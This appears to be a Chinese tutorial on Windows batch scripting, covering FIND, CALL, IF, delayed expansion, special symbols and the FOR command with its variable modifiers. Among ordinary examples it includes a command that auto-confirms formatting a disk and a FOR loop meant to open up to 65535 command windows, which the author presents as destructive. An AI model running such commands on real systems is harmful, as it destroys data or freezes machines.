FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[...]]

/V 显示所有未包含指定字符串的行。
/C 仅显示包含字符串的行数。
/N 显示行号。
/I 搜索字符串时忽略大小写。
/OFF[LINE] 不要跳过具有脱机属性集的文件。
"string" 指定要搜索的文字串，
[drive:][path]filename
指定要搜索的文件。

如果没有指定路径，FIND 将搜索键入的或者由另一命令产生的文字。

Find 常和 type 命令结合使用
Type [drive:][path]filename | find "string" [>tmpfile] #挑选包含 string 的行
Type [drive:][path]filename | find /v "string" #剔除文件中包含 string 的行
Type [drive:][path]filename | find /c #显示文件行数
以上用法将去除 find 命令自带的提示语（文件名提示）

例：

```
@echo off
echo 111 >test.txt
echo 222 >>test.txt
find "111" test.txt
del test.txt
pause
```

运行显示如下：

```
--------- TEST.TXT
111
请按任意键继续. . .
```

例：

```
@echo off
echo 111 >test.txt
echo 222 >>test.txt
type test.txt|find "111"
del test.txt
pause
```

运行显示如下：

```
111
请按任意键继续. . .
```

10、start 命令
批处理中调用外部程序的命令（该外部程序在新窗口中运行，批处理程序继续往下执行，不理会外部程序的运行状况），如果直接运行外部程

序则必须等外部程序完成后才继续执行剩下的指令

例：start explorer d:\
调用图形界面打开 D 盘

11、assoc 和 ftype
文件关联
assoc 设置'文件扩展名'关联，关联到'文件类型'
ftype 设置'文件类型'关联，关联到'执行程序和参数'
当你双击一个.txt 文件时，windows 并不是根据.txt 直接判断用 notepad.exe 打开
而是先判断.txt 属于 txtfile '文件类型'
再调用 txtfile 关联的命令行 txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
可以在"文件夹选项"→"文件类型"里修改这 2 种关联

```
assoc                #显示所有'文件扩展名'关联
assoc .txt          #显示.txt 代表的'文件类型'，结果显示 .txt=txtfile
assoc .doc          #显示.doc 代表的'文件类型'，结果显示 .doc=Word.Document.8
assoc .exe          #显示.exe 代表的'文件类型'，结果显示 .exe=exefile
ftype                #显示所有'文件类型'关联
ftype exefile      #显示 exefile 类型关联的命令行，结果显示 exefile="%1" %*
```

assoc .txt=Word.Document.8
设置.txt 为 word 类型的文档，可以看到.txt 文件的图标都变了
assoc .txt=txtfile
恢复.txt 的正确关联

ftype exefile="%1" %*
恢复 exefile 的正确关联
如果该关联已经被破坏，可以运行 command.com ，再输入这条命令

12、pushd 和 popd
切换当前目录

```
@echo off
c: & cd\ & md mp3          #在 C:\ 建立 mp3 文件夹
md d:\mp4                  #在 D:\ 建立 mp4 文件夹
cd /d d:\mp4               #更改当前目录为 d:\mp4
pushd c:\mp3               #保存当前目录，并切换当前目录为 c:\mp3
popd                       #恢复当前目录为刚才保存的 d:\mp4
```

一般用处不大，在当前目录名不确定时，会有点帮助。（dos 编程中很有用）

13、CALL

CALL 命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后，再继续执行原来的批处理

CALL [drive:][path]filename [batch-parameters]
调用的其它批处理程序。filename 参数必须具有 .bat 或 .cmd 扩展名。

CALL :label arguments
调用本文件内命令段，相当于子程序。被调用的命令段以标签:label 开头
以命令 goto :eof 结尾。

另外，批脚本文本参数参照(%0、%1、等等)已如下改变:

批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)

批参数(%n)的替代已被增强。您可以使用以下语法:（看不明白的直接运行后面的例子）

%~1 - 删除引号(")，扩充 %1
%~f1 - 将 %1 扩充到一个完全合格的路径名
%~d1 - 仅将 %1 扩充到一个驱动器号
%~p1 - 仅将 %1 扩充到一个路径
%~n1 - 仅将 %1 扩充到一个文件名
%~x1 - 仅将 %1 扩充到一个文件扩展名
%~s1 - 扩充的路径指含有短名
%~a1 - 将 %1 扩充到文件属性
%~t1 - 将 %1 扩充到文件的日期/时间
%~z1 - 将 %1 扩充到文件的大小
%~$PATH:1 - 查找列在 PATH 环境变量的目录，并将 %1 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义，或者没有找到文件，此组合键会扩充到空字符串

可以组合修定符来取得多重结果:

%~dp1 - 只将 %1 扩展到驱动器号和路径
%~nx1 - 只将 %1 扩展到文件名和扩展名
%~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1，并扩展到找到的第一个文件的驱动器号和路径。
%~ftza1 - 将 %1 扩展到类似 DIR 的输出行。

在上面的例子中，%1 和 PATH 可以被其他有效数值替换。
%~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用
注意：参数扩充时不理会参数所代表的文件是否真实存在，均以当前目录进行扩展

要理解上面的知识，下面的例子很关键。
例：

```
@echo off
Echo 产生一个临时文件 >tmp.txt
Rem 下行先保存当前目录，再将 c:\windows 设为当前目录
pushd c:\windows
Call :sub tmp.txt
Rem 下行恢复前次的当前目录
Popd
Call :sub tmp.txt
pause
Del tmp.txt

:sub
Echo 删除引号： %~1
Echo 扩充到路径： %~f1
Echo 扩充到一个驱动器号： %~d1
Echo 扩充到一个路径： %~p1
Echo 扩充到一个文件名： %~n1
Echo 扩充到一个文件扩展名： %~x1
Echo 扩充的路径指含有短名： %~s1
Echo 扩充到文件属性： %~a1
Echo 扩充到文件的日期/时间： %~t1
Echo 扩充到文件的大小： %~z1
Echo 扩展到驱动器号和路径：%~dp1
Echo 扩展到文件名和扩展名：%~nx1
Echo 扩展到类似 DIR 的输出行：%~ftza1
Echo.
Goto :eof
```

14、shift
更改批处理文件中可替换参数的位置。

SHIFT [/n]

如果命令扩展名被启用，SHIFT 命令支持/n 命令行开关；该命令行开关告诉命令从第 n 个参数开始移位；n 介于零和八之间。例如:

```
SHIFT /2
```

会将 %3 移位到 %2，将 %4 移位到 %3，等等；并且不影响 %0 和 %1。

15、IF

IF 条件判断语句，语法格式如下：

IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command

下面逐一介绍，更详细的分析请看后面章节。

(1) IF [NOT] ERRORLEVEL number command
IF ERRORLEVEL 这个句子必须放在某一个命令的后面，执行命令后由IF ERRORLEVEL 来判断命令的返回值。
Number 的数字取值范围 0~255，判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时，条件成立

例：
@echo off
dir c:
rem 退出代码为>=1 就跳至标题 1 处执行，>=0 就跳至标题 0 处执行
IF ERRORLEVEL 1 goto 1
IF ERRORLEVEL 0 goto 0
Rem 上面的两行不可交换位置，否则失败了也显示成功。
:0
echo 命令执行成功!
Rem 程序执行完毕跳至标题 exit 处退出
goto exit
:1
echo 命令执行失败!
Rem 程序执行完毕跳至标题 exit 处退出
goto exit
:exit
pause
运行显示：命令执行成功!

(2) IF [NOT] string1==string2 command
string1 和 string2 都为字符的数据，英文内字符的大小写将看作不同，这个条件中的等于号必须是两个（绝对相等的意思）
条件相等后即执行后面的 command

检测当前变量的值做出判断，为了防止字符串中含有空格，可用以下格式
if [NOT] {string1}=={string2} command
if [NOT] [string1]==[string2] command
if [NOT] “string1”==“string2” command

这种写法实际上将括号或引号当成字符串的一部分了，只要等号左右两边一致就行了，比如下面的写法就不行：
if {string1}==[string2] command

(3) IF [NOT] EXIST filename command
EXIST filename 为文件或目录存在的意思

echo off
IF EXIST autoexec.bat echo 文件存在!
IF not EXIST autoexec.bat echo 文件不存在!

这个批处理大家可以放在 C 盘和 D 盘分别执行，看看效果

16、setlocal 与 变量延迟

本条内容引用[英雄出品]的批处理教程：

要想进阶，变量延迟是必过的一关!

例 1:
@echo off
set a=4
set a=5 & echo %a%
pause
结果：4
解说：为什么是 4 而不是 5 呢？在 echo 之前明明已经把变量 a 的值改成 5 了？

让我们先了解一下批处理运行命令的机制：

批处理读取命令时是按行读取的（另外例如 for 命令等，其后用一对圆括号闭合的所有语句也当作一行），在
处理之前要完成必要的预处理工作，这其中就包括对该行命令中的变量赋值。我们现在分析一下例 1，批处理
在运行到这句“set a=5 & echo %a%”之前，先把这一句整句读取并做了预处理——对变量 a 赋了值，那么%a%当然就是 4 了!（没有为什么，批

处理就是这样做的。）

而为了能够感知环境变量的动态变化，批处理设计了变量延迟。简单来说，在读取了一条完整的语句之后，不
立即对该行的变量赋值，而会在某个单条语句执行之前再进行赋值，也就是说“延迟”了对变量的赋值。

那么如何开启变量延迟呢？变量延迟又需要注意什么呢？举个例子说明一下：

例 2:
@echo off
setlocal enabledelayedexpansion
set a=4
set a=5 & echo !a!
pause
结果：5
解说：启动了变量延迟，得到了正确答案。变量延迟的启动语句是“setlocal enabledelayedexpansion”，并且变量要用一对叹号“!!”括起

来（注意要用英文的叹号），否则就没有变量延迟的效果。

分析一下例 2，首先“setlocal enabledelayedexpansion”开启变量延迟，然后“set a=4”先给变量 a 赋值为
4，“set a=5 & echo !a!”这句是给变量 a 赋值为 5 并输出（由于启动了变量延迟，所以批处理能够感知到动态变化，即不是先给该行变量赋值

，而是在运行过程中给变量赋值，因此此时 a 的值就是 5 了）。

再举一个例子巩固一下。
例 3:
@echo off
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
pause

结果：
1
2
3
4
5
解说：本例开启了变量延迟并用“!!”将变量扩起来，因此得到我们预期的结果。如果不用变量延迟会出现什
么结果呢？结果是这样的：
ECHO 处于关闭状态。
ECHO 处于关闭状态。
ECHO 处于关闭状态。
ECHO 处于关闭状态。
ECHO 处于关闭状态。

即没有感知到 for 语句中的动态变化。

第二节 常用特殊符号

1、@ 命令行回显屏蔽符
2、% 批处理变量引导符
3、> 重定向符
4、>> 重定向符
5、<、>&、<& 重定向符
6、| 命令管道符
7、^ 转义字符
8、& 组合命令
9、&& 组合命令
10、|| 组合命令
11、"" 字符串界定符
12、, 逗号
13、; 分号
14、() 括号
15、! 感叹号
16、批处理中可能会见到的其它特殊标记符: （略）
CR(0D) 命令行结束符
Escape(1B) ANSI 转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY 命令文件连接符
* ? 文件通配符
/ 参数开关引导符
: 批处理标签引导符

1、@ 命令行回显屏蔽符

这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道
ECHO OFF 可以关闭掉整个批处理命令的回显，但不能关掉 ECHO OFF 这个命令，现在我们在 ECHO OFF 这个命令前加个@，就可以达到所有命令均不

回显的要求

2、% 批处理变量引导符

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍）。
引用变量用%var%，调用程序外部参数用%1 至%9 等等
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*为命令行传递给批处理的参数
%0 批处理文件本身，包括完整的路径和扩展名

%1 第一个参数
%9 第九个参数
%* 从第一个参数开始的所有参数
参数%0 具有特殊的功能，可以调用批处理自身，以达到批处理本身循环的目的，也可以复制文件自身等等。

例：最简单的复制文件自身的方法
copy %0 d:\wind.bat

3、> 重定向符
输出重定向命令
这个字符的意思是传递并且覆盖，他所起的作用是将运行的结果传递到后面的范围（后边可以是文件，也可以是默认的系统控制台）

在 NT 系列命令行中，重定向的作用范围由整个命令行转变为单个命令语句，受到了命令分隔符&,&&,||和语句块的制约限制。

比如：
使用命令：echo hello >1.txt 将建立文件 1.txt，内容为”hello “（注意行尾有一空格）
使用命令：echo hello>1.txt 将建立文件 1.txt，内容为”hello“（注意行尾没有空格）

4、>> 重定向符
输出重定向命令
这个符号的作用和>有点类似，但他们的区别是>>是传递并在文件的末尾追加，而>是覆盖

用法同上

同样拿 1.txt 做例子

使用命令：
echo hello > 1.txt
echo world >>1.txt

这时候 1.txt 内容如下:
hello
world

5、<、>&、<& 重定向符

这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就 ok 了，当然如果想仔细研究的话，可以自己查一下资料。(本人已查过，网

上也查不到相关资料)

<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。

@echo off
echo 2005-05-01>temp.txt
date <temp.txt
del temp.txt
这样就可以不等待输入直接修改当前日期

>&，将一个句柄的输出写入到另一个句柄的输入中。
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。

常用句柄：0、1、2，未定义句柄：3—9
1>nul 表示禁止输出正确的信息
2>nul 表示禁止输出错误信息。
其中的 1 与 2 都是代表某个数据流输入输出的地址（NT CMD 称之为句柄，MSDOS 称之为设备）。

句柄 0：标准输入 stdin，键盘输入
句柄 1：标准输出 stdout，输出到命令提示符窗口（console，代码为 CON）
句柄 2：标准错误 stderr，输出到命令提示符窗口（console，代码为 CON）
其中的 stdin 可被<重定向，stdout 可被>、>>重定向，而 stderr 在 DOS 下不可直接重定向，只有通过 ctty 或其它命令将系统控制权转交给其它设

备的方式，来间接完成。

6、| 命令管道符

格式：第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用，记得在 unix 中这种方式很常见。

例如：

dir c:\|find "txt"

以上命令是：查找 C：\所有，并发现 TXT 字符串。
FIND 的功能请用 FIND /? 自行查看

在不使 format 的自动格式化参数时，我是这样来自动格式化 A 盘的

echo y|format a: /s /q /v:system

用过 format 的都知道，再格盘时要输入 y 来确认是否格盘，这个命令前加上 echo y 并用|字符来将 echo y 的结果传给 format 命令

从而达到自动输入 y 的目的

（这条命令有危害性，测试时请慎重）

7、^　转义字符

^是对特殊符号<,>,&的前导字符，在命令中他将以上 3 个符号的特殊功能去掉，仅仅只把他们当成符号而不使用他们的特殊意义。

比如

echo test ^>1.txt

结果则是：test > 1.txt

他没有追加在 1.txt 里，呵呵。只是显示了出来

另外，此转义字符还可以用作续行符号。
举个简单的例子：
@echo off
echo 英雄^
是^
好^
男人
pause

8、&　组合命令

语法：第一条命令 & 第二条命令 [& 第三条命令...]
&、&&、||为组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。因为批

处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令，当第一个命令执行失败了，也不影响后边的命令执行。
这里&两边的命令是顺序执行的，从前往后执行。
比如：

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容，不理会该盘是否存在

9、&& 组合命令
语法：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令
这个命令和上边的类似，但区别是，第一个命令失败时，后边的命令也不会执行

dir z:\ && dir y:\ && dir c:\

10、||　组合命令

语法：第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当一条命令失败后才执行第二条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确

的命令则一直执行完所有命令；

提示：组合命令和重定向命令一起使用必须注意优先级
管道命令的优先级高于重定向命令，重定向命令的优先级高于组合命令

问题：把 C 盘和 D 盘的文件和文件夹列出到 a.txt 文件中。你将如何来搞定这道题？有朋友说，这还不是很 easy 的问题吗？同时执行两个 dir，然

后把得到的结果>到 a.txt 里就 ok 了嘛，看例：
dir c:\ && dir d:\ > a.txt

仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后 a.txt 里只有 D 盘的信息！为什么？就因为这里&&命令和>命令

不能同时出现一个句子里（批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高（自己总结的，不妥的地方请指正

)！所以这句在执行时将本行分成这两部分：dir c:\和 dir d:\ > a.txt，而并不是如你想的这两部分：dir c:\ && dir d:\ 和> a.txt。要使

用组合命令&&达到题目的要求，必须得这么写：

dir c:\ > a.txt && dir d:\ >> a.txt

这样，依据优先级高低，DOS 将把这句话分成以下两部分：dir c:\ > a.txt 和 dir d:\ >> a.txt。例十八中的几句的差别比较特殊，值得好好

研究体会一下。

当然这里还可以利用&命令（自己想一下道理哦)：

dir c:\ > a.txt & dir d:\ >> a.txt

11、""　字符串界定符

双引号允许在字符串中包含空格，进入一个特殊目录可以用如下方法

cd "program files"
cd progra~1
cd pro*

以上三种方法都可以进入 program files 这个目录

12、, 逗号

逗号相当于空格，在某些情况下“,”可以用来当做空格使

比如

dir,c:\

13、; 分号

分号，当命令相同时，可以将不同目标用；来隔离，但执行效果不变，如执行过程中发生错误，则只返回错误报告，但程序仍会执行。（有人

说不会继续执行，其实测试一下就知道了）

比如：
dir c:\;d:\;e:\;z:\

以上命令相当于
dir c:\
dir d:\
dir e:\
dir f:\
如果其中 z 盘不存在，运行显示：系统找不到指定的路径。然后终止命令的执行。

例：dir c:\;d:\;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在，但 e 盘存在，有错误提示，但命令仍会执行。

为什么？如果目标路径不存在，则终止执行；如果路径存在，文件不存在，则继续执行。

就说这些了!各位有什么意见请回贴!有什么疑问请到 BAT 交流区发贴!下一节改进!

14、() 括号

小括号在批处理编程中有特殊的作用，左右括号必须成对使用，括号中可以包括多行命令，这些命令将被看成一个整体，视为一条命令行。

括号在 for 语句和 if 语句中常见，用来嵌套使用循环或条件语句，其实括号 ()也可以单独使用，请看例子。

例：

命令：echo 1 & echo 2 & echo 3

可以写成：

```
(
echo 1
echo 2
echo 3
)
```

上面两种写法效果一样，这两种写法都被视为是一条命令行。

注意：这种多条命令被视为一条命令行时，如果其中有变量，就涉及到变量延迟的问题。

15、！感叹号

没啥说的，在变量延迟问题中，用来表示变量，即%var%应该表示为!var!，请看前面的 setlocal 命令介绍。

第二章 DOS 循环：for 命令详解

看了看第一节的东西,发现那些简单的命令都有详细解释,实在想不出什么更好的东西来解释他们,就直接来一个"FOR 命令详解"在其中运用这些

东西来解释吧!

讲 FOR 之前呢,咋先告诉各位新手朋友,如果你有什么命令不懂,直接在 CMD 下面输入: name /? 这样的格式来看系统给出的帮助文件,比如 for /? 就会把 FOR 命令的帮助全部显示出来!当然许多菜鸟同志都看不懂....所以才会有那

么多批处理文章!!!!俺也照顾菜鸟,把 FOR 命令用我自己的方式说明下!

正式开始:

FOR 这条命令基本上都被用来处理文本,我们这次除了要说他处理文本的作用外还要讲他的其他一些好用的功能!

看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)

FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令

参数:FOR 有 4 个参数 /d /l /r /f 他们的作用我在下面用例子解释
%%变量名 :这个变量名可以是单个的小写 a-z 或者大写 A-Z,他们区分大小写哦~, FOR 会把每个读取到的值给他!
IN:命令的格式,照写就是了!
(相关文件或命令) :FOR 要把什么东西读取然后赋值给变量,不懂的话看下面的例子
do:命令的格式,照写就是了!
执行的命令:对每个变量的值要执行什么操作就写在这.

看不懂我的这些说明,可以在 CMD 输入 for /?看系统提供的帮助!我这里也给出来吧,大家对照
FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。

现在开始讲每个参数的意思

一、参数 /d
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。

如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符（* 和 ?），将对与 Set 相匹配的每个目录（而不是指定目录中的文件组）执

行指定的 Command。

这个参数主要用于目录搜索,不会搜索文件,看这样的例子

```
@echo off
for /d %%i in (c:\*) do echo %%i
pause
```

运行会把 C 盘根目录下的全部目录名字打印出来,而文件名字一个也不显示!

在来一个,比如我们要把当前路径下文件夹的名字只有 1-3 个字母的打出来

```
@echo off
for /d %%i in (???) do echo %%i
pause
```

这样的话如果你当前目录下有目录名字只有 1-3 个字母的,就会显示出来,没有就不显示了

这里解释下*号和?号的作用,*号表示任意 N 个字符,而?号只表示任意一个字符

知道作用了,给大家个思考题目!

```
@echo off
for /d %%i in (window?) do echo %%i
pause
```

保存到 C 盘下执行,会显示什么呢?自己看吧! 显示：windows
/D 参数只能显示当前目录下的目录名字,这个大家要注意!

二、参数 /R

```
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
```

检查以 [drive:]path 为根的目录树，指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。

递归

上面我们知道,/D 只能显示当前路径下的目录名字,那么现在这个/R 也是和目录有关,他能干嘛呢?放心他比/D 强大多了!
他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!

请注意 2 点：

1、set 中的文件名如果含有通配符(？或*)，则列举/R 参数指定的目录及其下面的所用子目录中与 set 相符合的所有文件，无相符文件的目录则不列举。

2、相反，如果 set 中为具体文件名，不含通配符，则枚举该目录树（即列举该目录及其下面的所有子目录），而不管 set 中的指定文件是否存在。这与前面所说的单点（.）枚举目录树是一个道理，单点代表当前目录，也可视为一个文件。

例：

```
@echo off
for /r c:\ %%i in (*.exe) do echo %%i
pause
```

咱们把这个 BAT 保存到 D 盘随便哪里然后执行,我会就会看到,他把 C 盘根目录,和每个目录的子目录下面全部的 EXE 文件都列出来了!!!!

例：

```
@echo off
for /r %%i in (*.exe) do @echo %%i
pause
```

参数不一样了吧!这个命令前面没加那个 C:\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个 BAT 你把他放在 d:\test 目录下执行,

那么他就会把 D:\test 目录和他下面的子目录的全部 EXE 文件列出来!!!

例：

```
@echo off
for /r c:\ %%i in (boot.ini) do echo %%i
pause
```

运行本例发现枚举了 c 盘所有目录，为了只列举 boot.ini 存在的目录，可改成下面这样：

```
@echo off
for /r c:\ %%i in (boot.ini) do if exist %%i echo %%i
pause
```

用这条命令搜索文件真不错。。。。。

这个参数大家应该理解了吧!还是满好玩的命令!

三、参数 /L

FOR /L %variable IN (start,step,end) DO command [command-parameters]

> 该集表示以增量形式从开始到结束的一个数字序列。
> 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
> 序列 (5 4 3 2 1)。

使用迭代变量设置起始值 (Start#)，然后逐步执行一组范围的值，直到该值超过所设置的终止值 (End#)。/L 将通过对 Start# 与 End# 进行

比较来执行迭代变量。如果 Start# 小于 End#，就会执行该命令。如果迭代变量超过 End#，则命令解释程序退出此循环。还可以使用负的

Step# 以递减数值的方式逐步执行此范围内的值。例如，(1,1,5) 生成序列 1 2 3 4 5，而 (5,-1,1) 则生成序列 (5 4 3 2 1)。语法是：

看着这说明有点晕吧!咱们看例子就不晕了!

```
@echo off
for /l %%i in (1,1,5) do @echo %%i
pause
```

保存执行看效果,他会打印从 1 2 3 4 5 这样 5 个数字
(1,1,5)这个参数也就是表示从 1 开始每次加 1 直到 5 终止!

等会晕,就打印个数字有 P 用...好的满足大家,看这个例子
@echo off
for /l %%i in (1,1,5) do start cmd
pause
执行后是不是吓了一跳,怎么多了 5 个 CMD 窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,我先告诉大家,会打开 65535 个 CMD 窗口

....这么多你不死机算你强!
当然我们也可以把那个 start cmd 改成 md %%i 这样就会建立指定个目录了!!!名字为 1-65535

看完这个被我赋予破坏性质的参数后,我们来看最后一个参数

四、参数 /F

\迭代及文件解析
使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串，并使用各种 options 选项进一步修改解析方式。

使用 options 令牌选项指定哪些令牌应该作为迭代变量传递。请注意：在没有使用令牌选项时，/F 将只检查第一个令牌。
文件解析过程包括读取输出、字符串或文件内容，将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代

变量值，调用 for 循环。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。

详细的帮助格式为：
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

带引号的字符串"options"包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的分配。m-n
格式为一个范围。通过 nth 符号指定 mth。如果
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之后

分配并接受行的保留文本。

usebackq - 使用后引号（键盘上数字 1 左面的那个键`）。

未使用参数 usebackq 时：file-set 表示文件，但不能含有空格
双引号表示字符串，即"string"
单引号表示执行命令，即'command'

使用参数 usebackq 时：file-set 和"file-set"都表示文件
当文件路径或名称中有空格时，就可以用双引号括起来
单引号表示字符串，即'string'
后引号表示命令执行，即`command`

以上是用 for /?命令获得的帮助信息，直接复制过来的。
晕惨了!我这就举个例子帮助大家来理解这些参数!

For 命令例 1：**********
```
@echo off
rem 首先建立临时文件 test.txt
echo ;注释行,这是临时文件,用完删除 >test.txt
echo 11 段 12 段 13 段 14 段 15 段 16 段 >>test.txt
echo 21 段,22 段,23 段,24 段,25 段,26 段 >>test.txt
echo 31 段-32 段-33 段-34 段-35 段-36 段 >>test.txt
FOR /F "eol=; tokens=1,3* delims=,- " %%i in (test.txt) do echo %%i %%j %%k
Pause
Del test.txt
```

运行显示结果：

```
11 段 13 段 14 段 15 段 16 段
21 段 23 段 24 段,25 段,26 段
31 段 33 段 34 段-35 段-36 段
请按任意键继续. . .
```

为什么会这样?我来解释：
eol=; 分号开头的行为注释行
tokens=1,3* 将每行第 1 段,第 3 段和剩余字段分别赋予变量%%i，%%j，%%k
delims=,- （减号后有一空格）以逗号减号和空格为分隔符，空格必须放在最后

For 命令例 2：**********
```
@echo off
FOR /F "eol= delims=" %%i in (test.txt) do echo %%i
Pause
```

运行将显示 test.txt 全部内容，包括注释行，不解释了哈。

For 命令例 3：**********

另外/F 参数还可以以输出命令的结果看这个例子

```
@echo off
FOR /F "delims=" %%i in ('net user') do @echo %%i
pause
```

这样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引起来就表示那个当命令执行,FOR 会返回命令的每行结果,加那个"delims=" 是

为了让我空格的行能整行显示出来,不加就只显示空格左边一列!

基本上讲完了 FOR 的基本用法了...如果你看过 FOR 的系统帮助,你会发现他下面还有一些特定义的变量,这些我先不讲.大家因该都累了吧!你不累

我累啊....

第三章 FOR 命令中的变量

FOR 命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法!

先把 FOR 的变量全部列出来:

~I	- 删除任何引号(")，扩展 %I
%~fI	- 将 %I 扩展到一个完全合格的路径名
%~dI	- 仅将 %I 扩展到一个驱动器号
%~pI	- 仅将 %I 扩展到一个路径
%~nI	- 仅将 %I 扩展到一个文件名
%~xI	- 仅将 %I 扩展到一个文件扩展名
%~sI	- 扩展的路径只含有短名
%~aI	- 将 %I 扩展到文件的文件属性
%~tI	- 将 %I 扩展到文件的日期/时间
%~zI	- 将 %I 扩展到文件的大小
%~$PATH:I	- 查找列在路径环境变量的目录，并将 %I 扩展到找到的第一个完全合格的名称。如果环境变量名未被定义，或者没有找到文件，此组合键会扩展到空字符串

我们可以看到每行都有一个大写字母"I",这个 I 其实就是我们在 FOR 带入的变量,我们 FOR 语句代入的变量名是什么,这里就写什么.
比如:FOR /F %%z IN ('set') DO @echo %%z
这里我们代入的变量名是 z 那么我们就要把那个 I 改成 z,例如%~fI 改为%~fz

至于前面的%~p 这样的内容就是语法了!

好开始讲解:

一、 ~I - 删除任何引号(")，扩展 %I
这个变量的作用就如他的说明,删除引号!
我们来看这个例子:
首先建立临时文件 temp.txt，内容如下
"1111
"2222"
3333"
"4444"44
"55"55"55

可建立个 BAT 文件代码如下:

```
@echo off
echo ^"1111>temp.txt
echo "2222">>temp.txt
echo 3333^">>temp.txt
echo "4444"44>>temp.txt
echo ^"55"55"55>>temp.txt
rem 上面建立临时文件，注意不成对的引号要加转义字符^，重定向符号前不要留空格
FOR /F "delims=" %%i IN (temp.txt) DO echo %%~i
pause
del temp.txt
```

执行后,我们看 CMD 的回显如下:

```
1111                #字符串前的引号被删除了
2222                #字符串首尾的引号都被删除了
3333"               #字符串前无引号，后面的引号保留
4444"44             #字符串前面的引号删除了，而中间的引号保留
55"55"55            #字符串前面的引号删除了，而中间的引号保留
请按任意键继续. . .
```

和之前 temp.txt 中的内容对比一下,我们会发现第 1、2、5 行的引号都消失了,这就是删除引号~i 的作用了!
删除引号规则如下(BAT 兄补充!)
1、若字符串首尾同时存在引号，则删除首尾的引号；
2、若字符串尾不存在引号，则删除字符串首的引号；
3、如果字符串中间存在引号，或者只在尾部存在引号，则不删除。

龙卷风补充：无头不删，有头连尾删。

二、 %~fI - 将 %I 扩展到一个完全合格的路径名

看例子:
把代码保存放在随便哪个地方,我这里就放桌面吧.

```
FOR /F "delims==" %%i IN ('dir /b') DO @echo    %%~fi
pause
```

执行后显示内容如下

```
C:\Documents and Settings\Administrator\桌面\test.bat
C:\Documents and Settings\Administrator\桌面\test.vbs
```

当我把代码中的 %%~fi 直接改成%%i

```
FOR /F "delims==" %%i IN ('dir /b') DO @echo    %%i
pause
```

执行后就会显示以下内容：

```
test.bat
test.vbs
```

通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用
也就是如果%i 变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单单打印一个文件名,自己动手动实验下就知道

了!

三、 %~dI - 仅将 %I 扩展到一个驱动器号
看例子:
代码如下,我还是放到桌面执行!

```
FOR /F "delims==" %%i IN ('dir /b') DO @echo    %%~di
pause
```

执行后我 CMD 里显示如下

```
C:
C:
```

我桌面就两个文件 test.bat,test.vbs,%%~di 作用是,如果变量%%i 的内容是一个文件或者目录名,他就会把他这文件
或者目录所在的盘符号打印出来!

四、 %~pI - 仅将 %I 扩展到一个路径
这个用法和上面一样,他只打印路径不打印文件名字

```
FOR /F "delims==" %%i IN ('dir /b') DO @echo    %%~pi
pause
```

